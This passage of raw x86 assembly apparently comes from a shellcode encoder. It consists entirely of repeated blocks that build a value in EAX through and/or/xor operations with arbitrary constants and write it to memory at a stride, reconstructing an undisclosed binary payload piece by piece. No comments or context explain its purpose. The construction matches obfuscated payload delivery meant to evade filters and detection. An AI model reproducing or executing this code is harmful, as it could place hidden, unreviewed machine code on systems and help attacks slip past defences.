or eax, 0x4dd1bb18
or eax, 0x86dc4a1
and eax, 0x5f4de9ab
or eax, 0x20000044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x239b6fe
or eax, 0xa308a37
and eax, 0x219a25f
or eax, 0xc1464100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x501b3c35
and eax, 0xd1090943
or eax, 0xc800080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2075e62b
and eax, 0x11806ef8
and eax, 0
or eax, 0x474d0d0d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76da878a
xor eax, 0x52ddbc44
and eax, 0x4842140
or eax, 0x48004233
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fa7f8d
and eax, 0x45683ada
or eax, 0x30008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe3be5b
or eax, 0x24228d4a
and eax, 0x20421758
or eax, 0x40010021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bebb393
and eax, 0x5185a0fb
and eax, 0x11
or eax, 0x98dc9b6a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3517d170
xor eax, 0x29597ab3
and eax, 0x849230a8
or eax, 0x5144cf47
mov dword [ebx], eax
add ebx, ecx
and eax, 0x701bd467
and eax, 0x24005
or eax, 0xa5cc2280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x101d5a8
and eax, 0x10524
or eax, 0x49000880
mov dword [ebx], eax
add ebx, ecx
and eax, 0x596e0156
and eax, 0x41000100
or eax, 0x4e19821
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55df0b9e
xor eax, 0x15f113ae
and eax, 0x1226
or eax, 0x82c24551
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3335416e
and eax, 0x4006
or eax, 0x30fa2a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0xae26287
or eax, 0x6692f3c
and eax, 0x2e26430
or eax, 0x70008080
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc10782a
xor eax, 0x65ff074e
and eax, 0x8085ac0
or eax, 0x84000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54d56f6d
and eax, 0x48e880e7
and eax, 0
or eax, 0x313d460d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x627682c7
or eax, 0x60dcdc0b
and eax, 0x39b96c7
or eax, 0xc000030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x40f0a82a
or eax, 0x33ca6728
and eax, 0x1426628
or eax, 0x44241855
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5bbe0846
and eax, 0x5cbb5836
and eax, 0x81a5806
or eax, 0x2448608
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6180b869
and eax, 0x3f37d72c
and eax, 0x9000604
or eax, 0x80c18050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d18f2d1
and eax, 0x1008050
or eax, 0x700905a9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8e48cf7
or eax, 0x48de4747
and eax, 0x4a80f0
or eax, 0x86202000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67bb24d5
xor eax, 0x5c9bc7ee
and eax, 0xa316630
or eax, 0xa54c18c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7579fa98
and eax, 0x58000420
or eax, 0x5116a82
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e729c6b
and eax, 0x1262d200
or eax, 0x48180436
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54578b6
or eax, 0x280e2c5d
and eax, 0x6b2c08cd
or eax, 0x5002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x583f7e2a
and eax, 0x13032285
or eax, 0x44acd102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f689eb8
and eax, 0x1c2a906e
and eax, 0x4289000
or eax, 0x91262fe
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31ebf5f3
xor eax, 0x20d7e009
and eax, 0xc00e300
or eax, 0x818908c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58a686e5
and eax, 0xd0204500
or eax, 0x209090c1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7bea30d2
or eax, 0x4d95249f
and eax, 0x318534da
or eax, 0x8000c100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19583e06
and eax, 0x8840c190
or eax, 0x16020401
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6253d5cd
and eax, 0x1164ab5f
and eax, 0x40015c
or eax, 0xc48c5a02
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bc78c96
xor eax, 0x7fe01f3d
and eax, 0x66200023
or eax, 0x5180c4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19270986
and eax, 0x247181a6
or eax, 0x82400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ab6e414
and eax, 0x40000a2
or eax, 0xa000b845
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d00aecb
and eax, 0xa400beaf
or eax, 0x10300110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51ceba22
and eax, 0x2c2224c3
and eax, 0x4000081
or eax, 0x494c6a60
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x758bca17
xor eax, 0x69774bf0
and eax, 0x1304806
or eax, 0x22000460
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a8e8ddf
and eax, 0x2000000
or eax, 0x9deb5038
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x522455d1
and eax, 0x1310251d
and eax, 0
or eax, 0x16749000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x272c49a8
or eax, 0x2d89bfc3
and eax, 0x3f941b82
or eax, 0x80020014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45d0881f
or eax, 0x3d5f6bc6
and eax, 0x17cdeace
or eax, 0x420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57293734
or eax, 0x43b080df
and eax, 0x1c1782a
or eax, 0x28000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bd1b614
xor eax, 0x64ebec0e
and eax, 0x4632020
or eax, 0xa0001184
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f56e24f
and eax, 0x4aa95d27
and eax, 0x2014121
or eax, 0x21580000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x279821ed
or eax, 0x921e910
and eax, 0x2901c121
or eax, 0xc4021402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x484022f8
or eax, 0x24349478
and eax, 0x205385a9
or eax, 0xa080804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77219bbe
and eax, 0x44481011
or eax, 0xa0814824
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23f512c
or eax, 0x20544137
and eax, 0xa6f04110
or eax, 0x108a640
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41e4fe75
xor eax, 0x57df425b
and eax, 0x403a8001
or eax, 0x81004134
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24358b0a
xor eax, 0x7fc44a63
and eax, 0x900b004c
or eax, 0x4434c880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6265b9ba
and eax, 0xc25d50da
or eax, 0x8800001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e3c26bd
and eax, 0x4a03020
or eax, 0x1180908
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6605f75a
and eax, 0x228c730
or eax, 0x98400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62c73f0
and eax, 0x31ecb13c
and eax, 0x3130
or eax, 0x41004c4c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c78649b
and eax, 0x4408
or eax, 0x8dd41bc2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12f9e85c
or eax, 0x687dcf96
and eax, 0xed158004
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f83b742
xor eax, 0x37e6b00
and eax, 0xc0e80844
or eax, 0x2201a3b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x370d4b2b
and eax, 0x2010900
or eax, 0x50c0c480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ad1cdff
and eax, 0x6fa1c4cd
and eax, 0x40804400
or eax, 0x113e327e
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe3c4cdf
and eax, 0x200406
or eax, 0x56430000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x640cfd0d
and eax, 0x404
or eax, 0xaaefb361
mov dword [ebx], eax
add ebx, ecx
and eax, 0x247e37a5
and eax, 0xe2124
or eax, 0x13118882
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4721d7a2
and eax, 0x1010002
or eax, 0xc8c26001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49abc31a
or eax, 0x7201a202
and eax, 0x4ac2801b
or eax, 0x410e4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xeb398a4
or eax, 0x3153c448
and eax, 0x2140045b
or eax, 0xa803384
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61194d03
or eax, 0x3f3ac16d
and eax, 0x6d09c08f
or eax, 0x80040000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1dfea06b
and eax, 0x703140c4
or eax, 0xc009619
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7593af24
and eax, 0x40018200
or eax, 0x8c84180
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40febb19
and eax, 0x48896801
or eax, 0x46
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1dd5ecf7
or eax, 0x3ff8bd1
and eax, 0x14fec935
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x472cd8c3
and eax, 0x81f4d1e4
or eax, 0x28002208
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58146880
and eax, 0x3030a0
or eax, 0x2030012
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56e42a0d
and eax, 0x46128be
or eax, 0x8800c440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x335961d
and eax, 0xf1018a1
or eax, 0x890108
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14d1a3df
and eax, 0x3088036
or eax, 0x40324180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x165f5d
or eax, 0x17da2c4e
and eax, 0x1000c44
or eax, 0x10000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3bfa2709
or eax, 0x218ab84
and eax, 0x108a804
or eax, 0x20a04013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e754bd1
and eax, 0x20200000
or eax, 0x425c3368
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ad182dd
or eax, 0x358f133b
and eax, 0x5253091
or eax, 0x82100c40
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b12adf1
or eax, 0x299d5d1c
and eax, 0x4d3c0830
or eax, 0x402043
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bd7d35d
and eax, 0x1100040
or eax, 0x868b1226
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3581ecff
and eax, 0x10d91baf
and eax, 0x800002
or eax, 0x3d305f59
mov dword [ebx], eax
add ebx, ecx
or eax, 0xbd2843a
and eax, 0x2302931a
or eax, 0x50000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x293574b1
and eax, 0x60b7e586
and eax, 0x10000
or eax, 0x4a222fab
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2510f658
and eax, 0x2b33d142
or eax, 0x90800600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70d12268
or eax, 0xa8affca
and eax, 0x436abdaa
or eax, 0x10140014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26ec7e37
or eax, 0x3502c4ce
and eax, 0x30028203
or eax, 0x8a652020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x270f271d
xor eax, 0x4ef18c8b
and eax, 0x862a02
or eax, 0x2010005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49428f80
or eax, 0x193379ac
and eax, 0x100030c
or eax, 0x48c8452
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5059f85b
and eax, 0x55946010
or eax, 0x22220080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c63d681
and eax, 0x73b39691
or eax, 0x8008092a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x619a2bba
or eax, 0x17167b41
and eax, 0xd7b92042
or eax, 0x8400004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56a68025
xor eax, 0x1c1d161
and eax, 0x46014165
or eax, 0x8100092
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5639a36c
and eax, 0x5e10009d
or eax, 0x440800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41d85ae2
and eax, 0x880
or eax, 0x1e0fc511
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e972d8c
and eax, 0x184009
or eax, 0x23441242
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19e425bc
and eax, 0x2b241730
or eax, 0x40020800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3638259e
or eax, 0x4159557e
and eax, 0x594d6964
or eax, 0x2a08000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x364bc43c
and eax, 0x12088004
or eax, 0x44a21088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15621627
and eax, 0x50e01485
or eax, 0x28150010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x246cc0f3
and eax, 0x20200010
or eax, 0x51983960
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24d0b667
and eax, 0x15488f16
or eax, 0x800130e8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x626545a2
and eax, 0xe5003014
or eax, 0x401
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28106bf7
or eax, 0x58ef6197
and eax, 0x2dce7834
or eax, 0x2000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f5b4a21
or eax, 0x70fb7b5b
and eax, 0x76be4b7d
or eax, 0x8480
mov dword [ebx], eax
add ebx, ecx
and eax, 0xcc8caf2
and eax, 0x4884290
or eax, 0xe047240a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75482c6
and eax, 0xc60ec08e
or eax, 0x18201821
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46973562
and eax, 0x18cd48
or eax, 0x47060202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x235605da
and eax, 0x70206ca
or eax, 0x88012000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x205c447b
and eax, 0x40a
or eax, 0xccd9f285
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5620ee8f
and eax, 0x8c20e889
or eax, 0x21000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c735bc3
or eax, 0x4ea8f164
and eax, 0xa3c0c104
or eax, 0x40c91
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3274b867
and eax, 0x913035c2
or eax, 0x62008005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ae23819
and eax, 0x90508dd0
or eax, 0x241200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a2c6f55
or eax, 0x60978d51
and eax, 0x92aeca90
or eax, 0x5000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e02951b
and eax, 0x233f616e
and eax, 0x2020002
or eax, 0xe170f9e0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6654dfcc
and eax, 0x404040c
or eax, 0x508980d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b7cc132
or eax, 0x69a77e9
and eax, 0x28a2056f
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61f88adf
and eax, 0x552cd0c3
and eax, 0x288000
or eax, 0x20832820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ea19cce
xor eax, 0x71c5d482
and eax, 0x208b806c
or eax, 0x40000100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x539b5ff3
or eax, 0x50268e72
and eax, 0x701f0c47
or eax, 0x8002000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b0067d8
and eax, 0x3140190
or eax, 0x1ca0a060
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d894ff7
and eax, 0xc000190
or eax, 0x6241980b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33373f53
and eax, 0x59748448
or eax, 0x80890922
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6753d0af
and eax, 0x6a20cc1
or eax, 0x12230
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c1787c3
and eax, 0x8b08002
or eax, 0xa5495289
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2039501f
and eax, 0x20000008
or eax, 0xc7c42660
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d909085
and eax, 0x3a44246c
or eax, 0x44894802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36f827d8
and eax, 0x728d2b8e
or eax, 0x80001000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6080f701
xor eax, 0x73d0f07
and eax, 0xc080e088
or eax, 0x430017
mov dword [ebx], eax
add ebx, ecx
or eax, 0x776505f7
xor eax, 0x2e78b290
and eax, 0x801f472c
or eax, 0x202010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f05b0e1
and eax, 0x6ed2ceb1
and eax, 0
or eax, 0xa3b7400d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x165c8721
and eax, 0x504b7d51
and eax, 1
or eax, 0x448182e4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8b74a1d
xor eax, 0x7a3a8238
and eax, 0x80041
or eax, 0x8509508
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32c70a31
xor eax, 0x4cab5c77
and eax, 0x404a1020
or eax, 0x11142201
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53d2c568
and eax, 0x1548
or eax, 0x4c300816
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2886f99a
and eax, 0x91a
or eax, 0x35642221
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18dab5cc
and eax, 0x10400108
or eax, 0x85a85803
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bd6d064
xor eax, 0x7e8b7d4e
and eax, 0xa1548420
or eax, 0x1e8001c6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12f77e6e
and eax, 0xab37f1c
and eax, 0x2900004
or eax, 0xbc2ad038
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50cadf8
and eax, 0x80028
or eax, 0x8a265ec3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x39ef65e1
or eax, 0x3502bdff
and eax, 0x21039e8b
or eax, 0x40100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f1f1a72
xor eax, 0x3e0118aa
and eax, 0x48441
or eax, 0x87e243ac
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15ec909e
or eax, 0x4332cac5
and eax, 0x50308c21
or eax, 0x8442008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29c49349
and eax, 0x714fc2fc
and eax, 0x440008
or eax, 0xe49315c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x160841fb
and eax, 0x844f505a
or eax, 0x9208804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24c3ec72
and eax, 0x404850
or eax, 0x501c0225
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33799767
and eax, 0x6005d110
or eax, 0x44802c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79da68ea
and eax, 0x8b28f8
or eax, 0x200405
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9a974f5
and eax, 0x1202cb4
or eax, 0x52548002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd53f968
and eax, 0x5420108e
or eax, 0x2090aa21
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bdedcc8
and eax, 0x60908088
or eax, 0x8f0b6321
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20e958f9
and eax, 0x8150ba10
or eax, 0x300100a6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c7383eb
xor eax, 0x57444f5c
and eax, 0x48440601
or eax, 0x51109fa
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15e35ce6
and eax, 0x54724d10
or eax, 0xa200a000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x400498ea
and eax, 0xe4124cca
or eax, 0x8810201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1089e3d3
and eax, 0x10240
or eax, 0x3683c28
mov dword [ebx], eax
add ebx, ecx
or eax, 0x630ad9b7
or eax, 0x77e859c5
and eax, 0x33e3b23f
or eax, 0x140000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13d7f65a
and eax, 0x291a010
or eax, 0x200845c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x622d7e97
or eax, 0x2142ec01
and eax, 0x2001ac84
or eax, 0x98140262
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d98d4ed
and eax, 0x8000024
or eax, 0x47830810
mov dword [ebx], eax
add ebx, ecx
and eax, 0x203f846
or eax, 0x7edfdba5
and eax, 0x649c90a0
or eax, 0x202010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2486dab3
xor eax, 0x750f5501
and eax, 0x1030a810
or eax, 0xae445045
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a15937b
and eax, 0x440220a
or eax, 0x19880040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x334aa31d
xor eax, 0x10ba6f26
and eax, 0x1d20d2c
or eax, 0x360892d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63ba02db
and eax, 0x5eabbb72
and eax, 0x20a0250
or eax, 0x9850b022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d134d64
and eax, 0x541ca16
or eax, 0x58a00008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27f031f
and eax, 0x4e0ec000
or eax, 0x8060029c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41afc32b
xor eax, 0x7e0c405b
and eax, 0xb06002c4
or eax, 0x187802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b956be0
and eax, 0xa8a80102
or eax, 0x4002299
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a330d39
and eax, 0x73757104
and eax, 0x2000
or eax, 0xc2e0bac
mov dword [ebx], eax
add ebx, ecx
or eax, 0x86c29d1
and eax, 0xc6e2a24
or eax, 0x23109000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74d195b8
or eax, 0x13a36381
and eax, 0x42876c9d
or eax, 0x508062
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f5ddf85
and eax, 0x50484
or eax, 0x5a82242
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10f24946
and eax, 0x145a4a00
or eax, 0x800055
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b57cd47
xor eax, 0x6d57ffb8
and eax, 0x6c0515a8
or eax, 0xd00002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x637b6f3d
and eax, 0xe0a7a03
or eax, 0xc0000560
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a8af153
and eax, 0x766fdc36
and eax, 0x60008c00
or eax, 0xa827243
mov dword [ebx], eax
add ebx, ecx
and eax, 0x684fdf9c
and eax, 0x20001c00
or eax, 0x6012099
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8dde41e
and eax, 0x689088a
or eax, 0x50020260
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa2d170d
and eax, 0x2608b92c
and eax, 0x1000
or eax, 0x2801a49b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a60ff14
and eax, 0x60404a83
or eax, 0x98969420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f597a11
and eax, 0x4be6844a
and eax, 0x40020402
or eax, 0x2c491148
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31ca63cd
and eax, 0x20000148
or eax, 0x9601b085
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b46a05e
and eax, 0x85421101
or eax, 0x40386028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74c88c79
and eax, 0x634077a9
and eax, 0x400028
or eax, 0x890840c6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3621d329
and eax, 0x8268806d
or eax, 0x122c10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24684e11
or eax, 0x12658b4b
and eax, 0x304d8a77
or eax, 0x49001000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x287b21dc
and eax, 0x34e273e9
and eax, 0x10003001
or eax, 0x4040cc40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f37a29f
or eax, 0x5c208d68
and eax, 0x18200c41
or eax, 0x8c5096
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6938d9dd
and eax, 0x419c0504
or eax, 0x4022020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ba6b9
and eax, 0x7c2d712c
and eax, 0x2000
or eax, 0x9b8207d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7dabf9df
xor eax, 0x1deec258
and eax, 0x4686300
or eax, 0xf1830816
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e6e69e0
and eax, 0x14024800
or eax, 0xc00096b6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x768a3d52
xor eax, 0x51fdc684
and eax, 0x25302010
or eax, 0x18808284
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53b8ad53
and eax, 0x2ea88d41
or eax, 0x80040008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3638083d
and eax, 0x47af33f8
and eax, 0x800110
or eax, 0xfc5a3287
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2333e2f5
and eax, 0xc28c060
or eax, 0x20022685
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x624695e4
and eax, 0x82c0001
or eax, 0x911104a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74fc7126
or eax, 0x54a2880
and eax, 0x3cbe5c01
or eax, 0x258
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19782a09
and eax, 0x10300809
or eax, 0xa4c0d532
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47643b7
and eax, 0x5edec214
and eax, 0x68200
or eax, 0xc62831b2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x539d168b
and eax, 0xd229262a
or eax, 0x404800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d080dd9
and eax, 0x9e600078
or eax, 0x929004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ac2ee0b
xor eax, 0x628b3fe0
and eax, 0x4459401c
or eax, 0x23823420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5889605e
xor eax, 0x421b4b16
and eax, 0x22000
or eax, 0x316c44a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0xab6c8d9
and eax, 0x32f22868
or eax, 0x44000200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x607a732a
and eax, 0x438f7c5
and eax, 0x4106240
or eax, 0xd981842b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48b5b029
and eax, 0x84245240
or eax, 0x60c18194
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7833be62
or eax, 0x2af49b54
and eax, 0x6a701b14
or eax, 0x94006083
mov dword [ebx], eax
add ebx, ecx
or eax, 0x362d6947
and eax, 0x807543c0
or eax, 0x1828008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1fdf83b3
and eax, 0x4d27b8e9
and eax, 0x48080
or eax, 0xa0b02004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f3771c0
xor eax, 0x688ff659
and eax, 0x138010c
or eax, 0x4000b840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b6dd39b
and eax, 0x8450211
or eax, 0x25880000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7956d6d8
or eax, 0x2b8fd8df
and eax, 0x4a9dd8d8
or eax, 0x602200
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb6086c7
or eax, 0x37971072
and eax, 0x2c8302e2
or eax, 0x80006c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b196551
and eax, 0x8012040
or eax, 0x634c82a7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b18fa45
and eax, 0x38102ee3
and eax, 0x281028c1
or eax, 0xc0c39418
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17440bc5
and eax, 0x4008c0
or eax, 0x81b82414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1021ad16
or eax, 0x466c0ccc
and eax, 0x46824c8
or eax, 0x9801d121
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdb01002
and eax, 0x33e9432
and eax, 0x80000
or eax, 0x128048c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59d2637b
or eax, 0x315dd9ba
and eax, 0x51059a80
or eax, 0x800440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1866d71b
and eax, 0x40a2001a
or eax, 0x32042204
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb125fc5
and eax, 0x20000
or eax, 0xbc6df5ba
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ecff18d
xor eax, 0x1a7e15fd
and eax, 0x20910000
or eax, 0x42461fa4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x313b18a0
and eax, 0x4500c8ed
and eax, 0x880
or eax, 0xf5f64256
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd87d241
and eax, 0x5064200
or eax, 0x2a010c87
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c2d9300
and eax, 0x40225d83
or eax, 0xb4d12240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46ae205e
and eax, 0x4220002
or eax, 0x83150380
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60f7afb1
